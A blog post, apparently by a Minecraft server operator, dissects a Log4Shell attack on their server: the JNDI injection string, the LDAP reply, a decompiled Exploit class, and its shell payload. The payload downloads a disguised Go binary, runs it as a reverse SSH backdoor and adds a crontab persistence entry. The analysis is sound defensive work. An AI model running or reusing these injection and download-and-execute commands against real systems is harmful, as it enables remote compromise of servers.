Dissecting a Log4Shell Attack

Published January 13, 2022 • more posts

In case you haven't heard, there's been a bit of an illness going around. No, not COVID. I'm talking about Log4Shell, possibly one of the worst zero-day vulnerabilities in the history of cybersecurity. It originates from Log4j2, the premier logging framework for modern Java, which can be found in thousands of applications (including Minecraft). The power of Log4Shell cannot be understated; an attacker may be able to get remote code execution simply by making a vulnerable server simply log a specific string.

Today I checked the Discord server for my SMP, and was greeted with a rather unexpected surprsie:

picture of the offending message
This lovely Discord-Minecraft bridge is powered by Minelink.

This is a pretty stock-standard attempt to exploit Log4Shell, which I have thankfully patched my server against. Essentially, Log4J provides a functionality called message lookup substitution: when you log a message using Log4J, it looks for segments enclosed in ${ } and replaces those segments with a dynamically retrieved value. One of the systems which Log4j can use to retrieve data is the Java Naming and Directory Interface, whose purpose is to allow applications to look up information given a short, portable name. Now, the really terrifying part is that JNDI may contact an LDAP server, which returns a response serialized as a Java class. The value of that response is extracted by executing the class. And in just three easy steps, you've got remote code execution!

Interestingly enough, attacks like this have been known about since 2016. However, it wasn't until December 4th, 2021 (when Log4j's maintainer submitted a patch to the project's repository to restrict which protocols lookups could access) that the world realized that half of all Java applications had just become a ticking time bomb.

Tracing the timeline of this exploit yields some fascinating discussion, but let's get back to our bad actor from earlier.

The attack occurred this morning at 4:53 AM UTC. Here's what it looked like in the console:

[4:53:39 AM] [INFO] UUID of player FermatSleep is 9abd3b4d-a8cd-4290-acc5-303c74da3e3f
[4:53:39 AM] [INFO] FermatSleep[/] logged in with entity id 1092165 at ([world]114.5, 72.0, -37.5)
[4:53:41 AM] [INFO] FermatSleep: ${jndi:ldap://}
[4:53:43 AM] [INFO] FermatSleep lost connection: Disconnected

According to AbuseIPDB, this particular host has been scanning for servers to attack for about two days now. A quick IP-to-ASN lookup reveals that the attack was launched from an IP belonging to AS12876, so one of Scaleway's servers. We can use ldapsearch to simulate the request that this message would have triggered.

$ ldapsearch -x -H ldap://
# extended LDIF
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL

javaClassName: foo
objectClass: javaNamingReference
javaFactory: Exploit

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Essentially, this reply says that to retrieve the requested value, the client should download Exploit.class from and execute it. (Very subtle naming there.). Downloading and decompiling the class yields its source code:

/* Decompiler 14ms, total 275ms, lines 67 */
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class Exploit {
   public static String script = "url=;remote_ip=;port=$(wget -O- http://$remote_ip:8000/port 2>/dev/null) ;[ $? -ne 0 ] && port=$(curl http://$remote_ip:8000/port 2>/dev/null) ;wget --no-check-certificate $url > /dev/null 2>&1 || curl -k -O $url > /dev/null 2>&1 ;chmod +x ./mc_server.jar;nohup ./mc_server.jar -b $port > /dev/null 2>&1 &cmd=\"$(pwd)/mc_server.jar -b $port\";(crontab -l ;  echo \"@reboot $cmd\" ) | sort - | uniq - | crontab - ;echo done ;";

   public static String execCmd(String var0) {
      String var1 = null;
      String[] var2 = new String[]{"/bin/sh", "-c", var0};

      try {
         InputStream var3 = Runtime.getRuntime().exec(var2).getInputStream();
         Throwable var4 = null;

         try {
            Scanner var5 = (new Scanner(var3)).useDelimiter("\\A");
            Throwable var6 = null;

            try {
               var1 = var5.hasNext() ? var5.next() : null;
            } catch (Throwable var31) {
               var6 = var31;
               throw var31;
            } finally {
               if (var5 != null) {
                  if (var6 != null) {
                     try {
                     } catch (Throwable var30) {
                  } else {

         } catch (Throwable var33) {
            var4 = var33;
            throw var33;
         } finally {
            if (var3 != null) {
               if (var4 != null) {
                  try {
                  } catch (Throwable var29) {
               } else {

      } catch (IOException var35) {

      return var1;

   public Exploit() throws Exception {

Decompiled using jdec.app, go check it out!

Essentially, this payload tries to execute some commands on the target machine:

port=$(wget -O- http://$remote_ip:8000/port 2>/dev/null) ;[ $? -ne 0 ] && port=$(curl http://$remote_ip:8000/port 2>/dev/null) ;
wget --no-check-certificate $url > /dev/null 2>&1 || curl -k -O $url > /dev/null 2>&1 ;
chmod +x ./mc_server.jar;
nohup ./mc_server.jar -b $port > /dev/null 2>&1 &cmd=\"$(pwd)/mc_server.jar -b $port\";(crontab -l ;  echo \"@reboot $cmd\" ) | sort - | uniq - | crontab - ;echo done ;

Needless to say, this is not how you run a Minecraft server. The script downloads a binary payload and then dynamically retrieves which port to phone home on from an endpoint called, which at the time of writing is 31463. (Looking at the headers set on the response from that endpoint also revealed that the server is powered by simplehttp 0.6, running on Python 3.8.10). This port is then passed to the payload, which is saved to a file called "mc_server.jar" to avoid arousing suspicion but is actually written in Go.

$ file mc_server.jar
mc_server.jar: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=ojJR3xcBkteWK4xWptDc/hF_tAQVMNfAbpoZ4Kkik/2jwNMERfF4KTuAdVK_0q/BkcBVr6Mnr8QyxLTfPDi, stripped

Running strings on the payload also reveals a wealth of interesting information, such as the name of the malware author and his RSA pubkey.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOjnUF/J249WuSeaDSlEnOeP1n/75iHQxRK8xjuB1J0FWTATtZcmBjtsGFX6nvv0vkS3kkhp7+Ba+B0GurEK+hdsPYvqMAPydq02iuPojsKOrDuVaPAox+kbmNTR3NEZ/rfd7OYzYNoK+mA/wqJl8K5+BaxUlXbNkKaO5IUbKP2XxLHz4IxRfNEAtl1iscTi0ckdrs4ZNK+PSKE+/Q0seOicuTlkRViP+M1G67mOi9Q12khrRlXwR0nsYuNFc73jWNH2oKoCllUqPHcHsfspvFZ56XzgTx3tZG1L57kfQCF6ErpbTyG8C0ov0rNm7fbcH8sRjYglnA1qc8mV1gVPc8VOZZp+0vvaA+Kv2ZEmMSbhyORC/HM8uCYGbZ8oW1jxZKaSpVasVT8UsbR5bHKM67xXsgZrIvXLGzIDu7QAe3VL1rm7MMe25K10kSkWi6ZuH1UVSuNw+y75igRxOHIox9PElUvVnVTEgIpHTjirY0g/PNmaQ6BlPuRvRFJF3SIKOy5gsZbATj7jhhI5Hj3LvioRwgYe1f0rnn0/Yx7r9tAq5edVk9rkLCUcWh8lbGoZ4Vr/qTYMn4dMPCr78oQ3nX/W6PuDdH8Dxmulq9alrotNcGaznnxnaOixZOCaRKbrMGLje+tXMTSvIJ8aN7Z+puvkIBE4fxMBt2GznN9Whg0Q== rafael@rafael-acer

Rafael, you sly dog! If you had used C, I might respect you a little more. Scrolling through the absolutely enormous output reminds me that golang still lacks a functional tree shaker, or at least it's not doing its job. The numerous mentions to ssh suggest that the binary establishes a reverse shell so that Mr. Rafael here can log into your server to further pursue his shenanigans. Indeed, a little more investigation shows that this is merely an off-the-shelf reverse SSH server whose source can be found on GitHub.

Epilogue §

If you enjoyed this blogpost, please go checkout the LunaSec article on Log4Shell, which inspired this journey and made it possible. Special thanks to the folks over on the Admincraft Discord server (especially itaquito and frögg), who were the first to sniff out some of this information.